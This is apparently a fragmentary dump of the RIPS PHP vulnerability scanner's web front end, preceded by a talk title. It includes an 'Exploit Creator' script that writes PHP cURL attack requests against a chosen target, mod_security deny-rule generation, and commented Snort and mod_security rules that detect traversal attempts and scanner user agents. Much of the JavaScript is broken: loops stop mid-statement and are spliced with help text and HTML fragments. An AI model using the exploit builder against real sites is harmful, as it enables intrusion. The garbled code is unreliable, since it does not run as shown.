\n\t\tFinding vulnerabilities in PHP code\n\t
\n\t\n\t\t(via static code analysis) \n\t
\n\tBy Peter Serwylo
\n\thttp://peter.serwylo.com
\n\t@serwylo
\nscanning ...\n\n
\n\n\n\n\n\t
\n\n\n\n"
},
{
"path": "js/exploit.js",
"content": "/**\n\tRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\t\tby Johannes Dahse (johannes.dahse@rub.de)\n**/\n\nfunction editExploit()\n{\n\tdocument.getElementById('exploitcode').style.display = \"none\";\n\tdocument.getElementById('exploitbuild').style.display = \"block\";\n}\n\nfunction deleteMethod(method)\n{\n\tdocument.getElementById(method+'box').style.display = \"none\";\n}\n\nfunction getQuery(method)\n{\n\tvar query = \"\";\n\tvar elements = document.getElementById(method).elements;\n\tfor(var i=0;i\n\t\t
\n\n\nQuickstart:
\n\t\tLocate your local PHP source code path/file (e.g. /var/www/project1/ or /var/www/index.php), choose the vulnerability type you are looking for and click scan!
\n\t\tCheck subdirs to include all subdirectories into the scan. It is recommended to scan only the root directory of your project. Files in subdirectories will be automatically scanned by RIPS when included by the PHP code. However enabling subdirs can improve the scan result and the include success rate (shown in the result).
Advanced:
\n\t\tDebug errors or improve your scan result by choosing a different verbosity level (default level 1 is recommended).
\n\t\tAfter the scan finished 4 new button will appear in the upper right. You can select between different types of vulnerabilities that have been found by clicking on their name in the stats window. You can click user input in the upper right to get a list of entry points, functions for a list and graph of all user defined functions or files for a list and graph of all scanned files and their includes. All lists are referenced to the Code Viewer.
Style:
\n\t\tChange the syntax highlighting schema on-the-fly by selecting a different code style.
\n\t\tBefore scanning you can choose which way the code flow should be displayed: bottom-up or top-down.
Icons:
\n\t\t- \n\t\t
- User input has been found in this line. Potential entry point for vulnerability exploitation. \n\t\t
- Vulnerability exploitation depends on the parameters passed to the function declared in this line. Have a look at the calls in the scan result.
Click ⇑ or ⇓ to jump to the next declaration or call of this function. \n\t\t - User-implemented securing has been detected in this line. This may prevent exploitation. \n\t\t
Options:
\n\t\t- \n\t\t
- Click the file icon to open the Code Viewer to review the original code. A new window will be opened with all relevant lines highlighted.
\n\t\tHighlight variables temporarily by mouseover or persistently by clicking on the variable. Jump into the code of a user-defined function by clicking on the call. Click return on the bottom of the code viewer to jump back. This also works for nested function calls. \n\t\t - Click the minimize icon to hide a specific code trace. You may display it later by clicking the icon again. \n\t\t
- Click the target icon to open the Exploit Creator. A new window will open where you can enter exploit details and create PHP Curl exploit code. \n\t\t
- Click the help icon to get a description, example code, example exploitation, patch and related securing functions for this vulnerability type. \n\t\t
- Click the data leak icon to check if the output of the tainted sink leaks somewhere (is embedded to the HTTP response via echo/print). \n\t\t
Hints:
\n\t\t- \n\t\t
- RIPS implements static source code analysis. It only scans source code files and will not execute the code. \n\t\t
- Object-oriented code (classes) is not supported in this version. \n\t\t
- Make sure RIPS has file permissions on the files to be scanned. \n\t\t
- Don't leave the webinterface of RIPS open to the public internet. Use it on your local webserver only. \n\t\t
- Only tested with Firefox. \n\t\t
//
$target = $argv[1];
\";\n\n\tvar target = document.getElementById('target').value;\n\tvar cookiejar = document.getElementById('cookiejar').value;\n\tvar exectime = document.getElementById('exectime').value;\n\tvar ssl = document.getElementById('ssl').checked\n\tvar auth = document.getElementById('auth').checked\n\n\tif(document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"$postData = array();
$postData[ 'file' ] = \\\"@\" + document.getElementById('$_FILES').elements[0].value + \"\\\";
\";\n\n\tif(auth)\n\t{\n\t\toutput = output + \"$username = \\\"\\\";
$password = \\\"\\\";
\";\n\t}\n\n\toutput = output + \"$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
\";\n\n\tif(document.getElementById('$_GET') != undefined)\n\t{\n\t\tvar getquery = getQuery('$_GET');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_URL, \\\"\" + target + '?' + getquery + \"\\\");
\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPGET, 1);
\";\n\t}\n\telse\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_URL, \\\"\" + target + \"\\\");
\";\n\t}\n\n\toutput = output + \"curl_setopt($ch, CURLOPT_USERAGENT, \\\"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\\\");
\";\n\n\n\tif(document.getElementById('$_POST') != undefined || document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POST, 1);
\";\n\n\tif(document.getElementById('$_POST') != undefined)\n\t{\n\t\tvar postquery = getQuery('$_POST');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POSTFIELDS, \\\"\" + postquery + \"\\\");
\";\n\t}\n\n\tif(document.getElementById('$_FILES') != undefined)\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );
\";\n\n\tif(document.getElementById('$_COOKIE') != undefined)\n\t{\n\t\tvar cookie = getQuery('$_COOKIE');\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_COOKIE, \\\"\" + cookie + \"\\\");
\";\n\t}\n\n\tif(document.getElementById('$_SERVER') != undefined)\n\t{\n\t\tvar elements = document.getElementById('$_SERVER').elements;\n\t\tfor(var i=0;i
\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_LANGUAGE')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Accept-Language: \"+elements[i].value+\"\\\");
\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_ENCODING')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_ENCODING, \\\"\"+elements[i].value+\"\\\");
\";\n\t\t\telse if(elements[i].name == 'HTTP_ACCEPT_CHARSET')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Accept-Charset: \"+elements[i].value+\"\\\");
\";\n\t\t\telse if(elements[i].name == 'HTTP_KEEP_ALIVE')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, array(\\\"Connection: keep-alive\\\", \\\"Keep-Alive: \"+elements[i].value+\"\\\"));
\";\n\t\t\telse if(elements[i].name == 'HTTP_CONNECTION')\n\t\t\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPHEADER, \\\"Connection: \"+elements[i].value+\"\\\");
\";\n\t\t}\n\t}\n\n\n\tif(exectime != \"\")\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_TIMEOUT, \" + exectime + \");
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, \" + exectime + \");
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, \" + exectime + \");
\";\n\n\tif(cookiejar != \"\")\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_COOKIEJAR, \\\"\" + cookiejar + \"\\\");
\";\n\n\tif(ssl)\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
\";\n\t\toutput = output + \"curl_setopt($ch,\tCURLOPT_SSL_VERIFYHOST, FALSE);
\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
\";\n\t}\n\n\tif(auth)\n\t{\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
\";\n\t\toutput = output + \"curl_setopt($ch, CURLOPT_USERPWD, \\\"$username:$password\\\");
\";\n\t}\n\n\toutput = output + \"$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
\";\n\toutput = output + \"
echo $buf;
\";\n\n\tvar exploitdiv = document.getElementById('exploitcode');\n\texploitdiv.innerHTML = output;\n\texploitdiv.style.display = \"block\";\n\tdocument.getElementById('exploitbuild').style.display = \"none\";\n}\n\nfunction setssl()\n{\n\tvar targetelement = document.getElementById('target');\n\tvar newset;\n\tvar oldset = targetelement.value;\n\tif(document.getElementById('ssl').checked)\n\t{\n\t\toldset = oldset.replace(/https:/, \"http:\");\n\t\tnewset = oldset.replace(/http:/, \"https:\");\n\t} else\n\t{\n\t\tnewset = oldset.replace(/https/, \"http\");\n\t}\n\ttargetelement.value = newset;\n}\n" }, { "path": "js/hotpatch.js", "content": "function getParams(method)\n{\n\tvar query = \"\";\n\tvar elements = document.getElementById(method).elements;\n\tfor(var i=0;i
\";\n\n\tif(document.getElementById('$_GET') != undefined)\n\t{\n\t\tvar getquery = getParams('$_GET');\n\t\toutput = output + \"SecFilterSelective QUERY_STRING \\\"\"+getquery+\"\\\" \\\"deny,log,auditlog,status:404,msg:'Protected by RIPS',id:'990002',severity:'4'\\\"\";\n\t}\n\n\n\tvar exploitdiv = document.getElementById('hotpatchcode');\n\texploitdiv.innerHTML = output;\n\texploitdiv.style.display = \"block\";\n\tdocument.getElementById('hotpatchbuild').style.display = \"none\";\n}\n\n/*\n// snort\n\nalert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:\"WEB-CGI yabb directory traversal attempt\"; flow:to_server,established; uricontent:\"/YaBB\"; nocase; content:\"../\"; classtype:attempted-recon;)\n\n\n// mod_security\n\n// SERVER\nSecRule REQUEST_HEADERS:User-Agent \"(?:\\b(?:m(?:ozilla\\/4\\.0 \\(compatible\\)|etis)|webtrends security analyzer|pmafind)\\b|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|webinspect|\\.nasl)\"\n \"deny,log,auditlog,status:404,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',severity:'4'\"\n\n\t\thttp://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/html-multipage/04-rules.html\n\t*/\n" }, { "path": "js/netron.js", "content": "Function.prototype.bind = function(obj)\n{\n\tvar fn = this;\n\treturn function()\n\t{\n\t\treturn fn.apply(obj, arguments);\n\t};\n};\n\nArray.prototype.remove = function(obj)\n{\n\tvar i = this.length;\n\twhile (i--)\n\t{\n\t\tif (this[i] == obj)\n\t\t{\n\t\t\tthis.splice(i, 1);\n\t\t}\n\t}\n};\n\nArray.prototype.contains = function(obj)\n{\n\tvar i = this.length;\n\twhile (i--)\n\t{\n\t\tif (this[i] == obj)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\nvar Point = function(x, y)\n{\n\tthis.x = x;\n\tthis.y = y;\n}\n\nvar Rectangle = function(x, y, width, height)\n{\n\tthis.x = x;\n\tthis.y = y;\n\tthis.width = width;\n\tthis.height = height;\n};\n\nRectangle.prototype.contains = function(point)\n{\n\treturn ((point.x >= this.x) && (point.x <= (this.x + this.width)) && (point.y >= this.y) && (point.y <= (this.y + this.height)));\n};\n\nRectangle.prototype.inflate = function(dx, dy)\n{\n\tthis.x -= dx;\n\tthis.y -= dy;\n\tthis.width += dx + dx + 1;\n\tthis.height += dy + dy + 1;\n};\n\nRectangle.prototype.union = function(rectangle)\n{\n\tvar x1 = (this.x < rectangle.x) ? this.x : rectangle.x;\n\tvar y1 = (this.y < rectangle.y) ? this.y : rectangle.y;\n\tvar x2 = ((this.x + this.width) < (rectangle.x + rectangle.width)) ? (rectangle.x + rectangle.width) : (this.x + this.width);\n\tvar y2 = ((this.y + this.height) < (rectangle.y + rectangle.height)) ? (rectangle.y + rectangle.height) : (this.y + this.height);\n\treturn new Rectangle(x1, y1, x2 - x1, y2 - y1);\n};\n\nRectangle.prototype.topLeft = function()\n{\n\treturn new Point(this.x, this.y);\n};\n\nCanvasRenderingContext2D.prototype.dashedLine = function(x1, y1, x2, y2)\n{\n\tthis.moveTo(x1, y1);\n\tvar dx = x2 - x1;\n\tvar dy = y2 - y1;\n\tvar count = Math.floor(Math.sqrt(dx * dx + dy * dy) / 3); // dash length\n\tvar ex = dx / count;\n\tvar ey = dy / count;\n\n\tvar q = 0;\n\twhile (q++ < count)\n\t{\n\t\tx1 += ex;\n\t\ty1 += ey;\n\t\tif (q % 2 === 0)\n\t\t{\n\t\t\tthis.moveTo(x1, y1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.lineTo(x1, y1);\n\t\t}\n\t}\n\tif (q % 2 === 0)\n\t{\n\t\tthis.moveTo(x2, y2);\n\t}\n\telse\n\t{\n\t\tthis.lineTo(x2, y2);\n\t}\n};\n\nCanvasRenderingContext2D.prototype.roundedRect = function(x, y, width, height, radius)\n{\n this.beginPath();\n this.moveTo(x + radius, y);\n this.lineTo(x + width - radius, y);\n this.quadraticCurveTo(x + width, y, x + width, y + radius);\n this.lineTo(x + width, y + height - radius);\n this.quadraticCurveTo(x + width, y + height, x + width - radius, y + height);\n this.lineTo(x + radius, y + height);\n this.quadraticCurveTo(x, y + height, x, y + height - radius);\n this.lineTo(x, y + radius);\n this.quadraticCurveTo(x, y, x + radius, y);\n this.closePath();\n};\n\nvar Cursors =\n{\n\tarrow: \"default\",\n\tgrip: \"pointer\", // \"crosshair\",\n\tcross: \"pointer\", // \"crosshair\",\n\tmove: \"move\",\n\tselect: \"pointer\"\n};\n\nvar Connector = function(owner, template)\n{\n\tthis.owner = owner;\n\tthis.template = template;\n\tthis.connections = [];\n\tthis.hover = false;\n};\n\nConnector.prototype.getCursor = function(point)\n{\n\treturn Cursors.grip;\n};\n\nConnector.prototype.hitTest = function(rectangle)\n{\n\tif ((rectangle.width === 0) && (rectangle.height === 0))\n\t{\n\t\treturn this.getRectangle().contains(rectangle.topLeft());\n\t}\n\treturn rectangle.contains(this.getRectangle());\n};\n\nConnector.prototype.getRectangle = function()\n{\n\tvar point = this.owner.getConnectorPosition(this);\n\tvar rectangle = new Rectangle(point.x, point.y, 0, 0);\n\trectangle.inflate(3, 3);\n\treturn rectangle;\n};\n\nConnector.prototype.invalidate = function()\n{\n};\n\nConnector.prototype.isValid = function(value)\n{\n\tif (value === this)\n\t{\n\t\treturn false;\n\t}\n\tvar t1 = this.template.type.split(' ');\n\tif (!t1.contains(\"[array]\") && (this.connections.length == 1))\n\t{\n\t\treturn false;\n\t}\n\tif (value instanceof Connector)\n\t{\n\t\tvar t2 = value.template.type.split(' ');\n\t\tif ((t1[0] != t2[0]) ||\n\t\t(this.owner == value.owner) ||\n\t\t\t(t1.contains(\"[in]\") && !t2.contains(\"[out]\")) ||\n\t\t\t(t1.contains(\"[out]\") && !t2.contains(\"[in]\")) ||\n\t\t\t(!t2.contains(\"[array]\") && (value.connections.length == 1)))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n};\n\nConnector.prototype.paint = function(context, other)\n{\n\tvar rectangle = this.getRectangle();\n\tvar strokeStyle = this.owner.owner.theme.connectorBorder;\n\tvar fillStyle = this.owner.owner.theme.connector;\n\tif (this.hover)\n\t{\n\t\tstrokeStyle = this.owner.owner.theme.connectorHoverBorder;\n\t\tfillStyle = this.owner.owner.theme.connectorHover;\n\t\tif (!this.isValid(other))\n\t\t{\n\t\t\tfillStyle = \"#f00\";\n\t\t}\n\t}\n\n\tcontext.lineWidth = 1;\n\tcontext.strokeStyle = strokeStyle;\n\tcontext.lineCap = \"butt\";\n\tcontext.fillStyle = fillStyle;\n\tcontext.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height);\n\tcontext.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height);\n\n\tif (this.hover)\n\t{\n\t\t// Tooltip for Connector point\n\t\tvar text = (\"description\" in this.template) ? this.template.description : this.template.name;\n\t\tcontext.textBaseline = \"bottom\";\n\t\tcontext.font = \"8.25pt Tahoma\";\n\t\tvar size = context.measureText(text);\n\t\tsize.height = 14;\n\t\tvar a = new Rectangle(rectangle.x - Math.floor(size.width / 2), rectangle.y + size.height + 6, size.width, size.height);\n\t\tvar b = new Rectangle(a.x, a.y, a.width, a.height);\n\t\ta.inflate(4, 1);\n\t\tcontext.fillStyle = \"rgb(255, 255, 231)\";\n\t\tcontext.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.strokeStyle = \"#000\";\n\t\tcontext.lineWidth = 1;\n\t\tcontext.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.fillStyle = \"#000\";\n\t\tcontext.fillText(text, b.x, b.y + 13);\n\t}\n};\n\nvar Tracker = function(rectangle, resizable)\n{\n\tthis.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\tthis.resizable = resizable;\n\tthis.track = false;\n};\n\nTracker.prototype.hitTest = function(point)\n{\n\t// (0, 0) element, (-1, -1) top-left, (+1, +1) bottom-right\n\tif (this.resizable)\n\t{\n\t\tfor (var x = -1; x <= +1; x++)\n\t\t{\n\t\t\tfor (var y = -1; y <= +1; y++)\n\t\t\t{\n\t\t\t\tif ((x !== 0) || (y !== 0))\n\t\t\t\t{\n\t\t\t\t\tvar hit = new Point(x, y);\n\t\t\t\t\tif (this.getGripRectangle(hit).contains(point))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn hit;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif (this.rectangle.contains(point))\n\t{\n\t\treturn new Point(0, 0);\n\t}\n\n\treturn new Point(-2, -2);\n};\n\nTracker.prototype.getGripRectangle = function(point)\n{\n\tvar r = new Rectangle(0, 0, 7, 7);\n\tif (point.x < 0) { r.x = this.rectangle.x - 7; }\n\tif (point.x === 0) { r.x = this.rectangle.x + Math.floor(this.rectangle.width / 2) - 3; }\n\tif (point.x > 0) { r.x = this.rectangle.x + this.rectangle.width + 1; }\n\tif (point.y < 0) { r.y = this.rectangle.y - 7; }\n\tif (point.y === 0) { r.y = this.rectangle.y + Math.floor(this.rectangle.height / 2) - 3; }\n\tif (point.y > 0) { r.y = this.rectangle.y + this.rectangle.height + 1; }\n\treturn r;\n};\n\nTracker.prototype.getCursor = function(point)\n{\n\tvar hit = this.hitTest(point);\n\tif ((hit.x === 0) && (hit.y === 0))\n\t{\n\t\treturn (this.track) ? Cursors.move : Cursors.select;\n\t}\n\tif ((hit.x >= -1) && (hit.x <= +1) && (hit.y >= -1) && (hit.y <= +1) && this.resizable)\n\t{\n\t\tif (hit.x === -1 && hit.y === -1) { return \"nw-resize\"; }\n\t\tif (hit.x === +1 && hit.y === +1) { return \"se-resize\"; }\n\t\tif (hit.x === -1 && hit.y === +1) { return \"sw-resize\"; }\n\t\tif (hit.x === +1 && hit.y === -1) { return \"ne-resize\"; }\n\t\tif (hit.x === 0 && hit.y === -1) { return \"n-resize\"; }\n\t\tif (hit.x === 0 && hit.y === +1) { return \"s-resize\"; }\n\t\tif (hit.x === +1 && hit.y === 0) { return \"e-resize\"; }\n\t\tif (hit.x === -1 && hit.y === 0) { return \"w-resize\"; }\n\t}\n\treturn null;\n};\n\nTracker.prototype.start = function(point, handle)\n{\n\tif ((handle.x >= -1) && (handle.x <= +1) && (handle.y >= -1) && (handle.y <= +1))\n\t{\n\t\tthis.handle = handle;\n\t\tthis.currentPoint = point;\n\t\tthis.track = true;\n\t}\n};\n\nTracker.prototype.move = function(point)\n{\n\tvar h = this.handle;\n\tvar a = new Point(0, 0);\n\tvar b = new Point(0, 0);\n\tif ((h.x == -1) || ((h.x === 0) && (h.y === 0))) { a.x = point.x - this.currentPoint.x; }\n\tif ((h.y == -1) || ((h.x === 0) && (h.y === 0))) { a.y = point.y - this.currentPoint.y; }\n\tif ((h.x == +1) || ((h.x === 0) && (h.y === 0))) { b.x = point.x - this.currentPoint.x; }\n\tif ((h.y == +1) || ((h.x === 0) && (h.y === 0))) { b.y = point.y - this.currentPoint.y; }\n\tvar tl = new Point(this.rectangle.x, this.rectangle.y);\n\tvar br = new Point(this.rectangle.x + this.rectangle.width, this.rectangle.y + this.rectangle.height);\n\ttl.x += a.x;\n\ttl.y += a.y;\n\tbr.x += b.x;\n\tbr.y += b.y;\n\tthis.rectangle.x = tl.x;\n\tthis.rectangle.y = tl.y;\n\tthis.rectangle.width = br.x - tl.x;\n\tthis.rectangle.height = br.y - tl.y;\n\tthis.currentPoint = point;\n};\n\nTracker.prototype.paint = function(context)\n{\n\tif (this.resizable)\n\t{\n\t\tfor (var x = -1; x <= +1; x++)\n\t\t{\n\t\t\tfor (var y = -1; y <= +1; y++)\n\t\t\t{\n\t\t\t\tif ((x !== 0) || (y !== 0))\n\t\t\t\t{\n\t\t\t\t\tvar rectangle = this.getGripRectangle(new Point(x, y));\n\t\t\t\t\tcontext.fillStyle = \"#ffffff\";\n\t\t\t\t\tcontext.strokeStyle = \"#000000\";\n\t\t\t\t\tcontext.lineWidth = 1;\n\t\t\t\t\tcontext.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1);\n\t\t\t\t\tcontext.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar Element = function(template, point)\n{\n\tthis.template = template;\n\tthis.rectangle = new Rectangle(point.x, point.y, template.defaultWidth, template.defaultHeight);\n\tthis.content = template.defaultContent;\n\tthis.text = '';\n\tthis.userinput = 0;\n\tthis.sinks = 0;\n\tthis.vuln = 0;\n\tthis.owner = null;\n\tthis.hover = false;\n\tthis.selected = false;\n\tthis.tracker = null;\n\tthis.connectors = [];\n\tfor (var i = 0; i < template.connectorTemplates.length; i++)\n\t{\n\t\tvar connectorTemplate = template.connectorTemplates[i];\n\t\tthis.connectors.push(new Connector(this, connectorTemplate));\n\t}\n};\n\nElement.prototype.select = function()\n{\n\tthis.hover = false;\n\tthis.selected = true;\n\tthis.tracker = new Tracker(this.rectangle, (\"resizable\" in this.template) ? this.template.resizable : false);\n\tthis.invalidate();\n};\n\nElement.prototype.deselect = function()\n{\n\tthis.selected = false;\n\tthis.invalidate();\n\tthis.tracker = null;\n};\n\nElement.prototype.getRectangle = function()\n{\n\treturn ((this.tracker !== null) && (this.tracker.track)) ? this.tracker.rectangle : this.rectangle;\n};\n\nElement.prototype.getPageRectangle = function()\n{\n\tvar rectangle = this.getRectangle();\n\trectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\tvar canvas = this.owner.canvas;\n\trectangle.x += canvas.offsetLeft;\n\trectangle.y += canvas.offsetTop;\n\treturn rectangle;\n};\n\nElement.prototype.setRectangle = function(rectangle)\n{\n\tthis.invalidate();\n\tthis.rectangle = rectangle;\n\tif (this.tracker !== null)\n\t{\n\t\tthis.tracker.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\t}\n\tthis.invalidate();\n};\n\nElement.prototype.paint = function(context)\n{\n\tthis.template.paint(this, context);\n\n\tif (this.selected)\n\t{\n\t\tthis.tracker.paint(context);\n\t}\n\n\t// mark all connections by mouseover\n\tif(this.hover || this.selected)\n\t{\n\t\tfor (var i = 0; i < this.connectors[1].connections.length; i++)\n\t\t{\n\t\t\tthis.connectors[1].connections[i].lineWidth = 2;\n\t\t\tif(this.connectors[1].connections[i].color != '#F00')\n\t\t\t\tthis.connectors[1].connections[i].color = '#00F';\n\t\t}\n\t} else\n\t{\n\t\tfor (var i = 0; i < this.connectors[1].connections.length; i++)\n\t\t{\n\t\t\tthis.connectors[1].connections[i].lineWidth = 1;\n\t\t\tif(this.connectors[1].connections[i].color != '#F00')\n\t\t\t\tthis.connectors[1].connections[i].color = '#000';\n\t\t}\n\t}\n\n\tvar rectangle = this.getRectangle();\n\tlines = this.text.split(\",\");\n\tcontext.textBaseline = \"bottom\";\n\tcontext.font = \"8.25pt Tahoma\";\n\tcontext.fillStyle = \"#000\";\n\tcontext.fillText(lines[0], rectangle.x + 5, rectangle.y + 13 + 20);\n\n\t// userinput DOT\n\tcontext.beginPath();\n\tcontext.fillStyle = \"#FFF\";\n\tcontext.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true);\n\tcontext.fill();\n\tcontext.closePath();\n\n\tcontext.beginPath();\n\tcontext.strokeStyle = \"#000\";\n\tcontext.lineWidth = 1;\n\tcontext.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true);\n\tcontext.stroke();\n\tcontext.closePath();\n\n\t// sensitive sink DOT\n\tcontext.beginPath();\n\tcontext.fillStyle = this.vuln ? \"red\" : \"#FFCE42\";\n\tcontext.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true);\n\tcontext.fill();\n\tcontext.closePath();\n\n\tcontext.beginPath();\n\tcontext.strokeStyle = \"#000\";\n\tcontext.lineWidth = 1;\n\tcontext.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true);\n\tcontext.stroke();\n\tcontext.closePath();\n\n\tif (this.hover)\n\t{\n\t\t// Tooltip for Element\n\t\tif(this.content.length > 20)\n\t\t{\n\t\t\tcontext.textBaseline = \"bottom\";\n\t\t\tcontext.font = \"8.25pt Tahoma\";\n\t\t\tvar size = context.measureText(this.content);\n\t\t\tsize.height = 14;\n\t\t\tvar a = new Rectangle(rectangle.x, rectangle.y -20, size.width, size.height);\n\t\t\tvar b = new Rectangle(a.x, a.y, a.width, a.height);\n\t\t\ta.inflate(4, 1);\n\t\t\tcontext.fillStyle = \"rgb(255, 255, 231)\";\n\t\t\tcontext.fillRect(a.x, a.y, a.width, a.height);\n\t\t\tcontext.strokeStyle = \"#000\";\n\t\t\tcontext.lineWidth = 1;\n\t\t\tcontext.strokeRect(a.x , a.y, a.width, a.height);\n\t\t\tcontext.fillStyle = \"#000\";\n\t\t\tcontext.fillText(this.content, b.x, b.y + 13);\n\t\t}\n\n\t\t/*\n\t\t// enlarge element to view whole text\n\t\tvar size = context.measureText(this.text);\n\t\tsize.height = 14;\n\t\tvar a = new Rectangle(rectangle.x + 4.5, rectangle.y + size.height + 4.5, this.template.defaultWidth-9, this.template.defaultHeight-20 + lines.length*15 - 18);\n\t\tvar b = new Rectangle(a.x, a.y+1, a.width, a.height);\n\t\ta.inflate(4, 1);\n\t\tcontext.fillStyle = \"#ddd\";\n\t\tcontext.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.strokeStyle = \"#246\";\n\t\tcontext.lineWidth = 2;\n\t\tcontext.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.fillStyle = \"#000\";\n\t\tfor (var i = 0; i
(' + data[0] + '/' + data[1] + ')';\n\t\t\t\tdocument.getElementById(idprefix+\"timeleft\").innerHTML = 'appr. timeleft: ' + ( (Math.round(data[3]/60) > 1) ? (Math.round(data[3]/60) + ' min') : (Math.round(data[3]) + ' sec') );\n\t\t\t} else\n\t\t\t{\n\t\t\t\tstats_done = true;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (client.readyState == 4 && prevDataLength == client.responseText.length) {\n\t\treturn;\n\t}\n\n}\n\n\nfunction scan(ignore_warning)\n{\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar\tverbosity = document.getElementById(\"verbosity\").value;\n\tvar vector = document.getElementById(\"vector\").value;\n\tvar treestyle = document.getElementById(\"treestyle\").value;\n\tvar stylesheet = document.getElementById(\"css\").value;\n\n\tvar params = \"loc=\"+location+\"&subdirs=\"+subdirs+\"&verbosity=\"+verbosity+\"&vector=\"+vector+\"&treestyle=\"+treestyle+\"&stylesheet=\"+stylesheet;\n\n\tif(ignore_warning)\n\t\tparams+=\"&ignore_warning=1\";\n\n\tdocument.getElementById(\"scanning\").style.backgroundImage=\"url(css/scanning.gif)\";\n\tdocument.getElementById(\"scanning\").innerHTML='scanning ...'\n\tdocument.getElementById(\"scanning\").style.display=\"block\";\n\n\tprevDataLength = 0;\n\tnextLine = '';\n\n\tvar a = true;\n\tstats_done = false;\n\tclient = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 3 && !stats_done)\n\t\t\thandleResponse('scan');\n\t\telse if(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tif(!this.responseText.match(/^\\s*warning:/))\n\t\t\t{\n\t\t\t\tdocument.getElementById(\"scanning\").style.display=\"none\";\n\t\t\t\tdocument.getElementById(\"options\").style.display=\"\";\n\n\t\t\t\tnostats = this.responseText.split(\"STATS_DONE.\\n\");\n\t\t\t\tif(nostats[1])\n\t\t\t\t\tresult = nostats[1];\n\t\t\t\telse\n\t\t\t\t\tresult = nostats[0];\n\n\t\t\t\tdocument.getElementById(\"result\").innerHTML=(result);\n\t\t\t\tgenerateDiagram();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar amount = this.responseText.split(':')[1];\n\t\t\t\tvar warning = \"
\";\n\t\t\t\twarning+=\"
\";\n\t\t\t\tdocument.getElementById(\"scanning\").style.backgroundImage=\"none\";\n\t\t\t\tdocument.getElementById(\"scanning\").innerHTML=warning;\n\t\t\t}\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\tvar warning = \"warning
\";\n\t\t\t\twarning+=\"You are about to scan \" + amount + \" files. \";\n\t\t\t\twarning+=\"Depending on the amount of codelines and includes this may take a while.\";\n\t\t\t\twarning+=\"The author of RIPS recommends to scan only the root directory of your project without subdirs.
\";\n\t\t\t\twarning+=\"Do you want to continue anyway?
\";\n\t\t\t\twarning+=\" \";\n\t\t\t\twarning+=\"\";\n\t\t\t\twarning+=\"\";\n\t\t\twarning+=\"
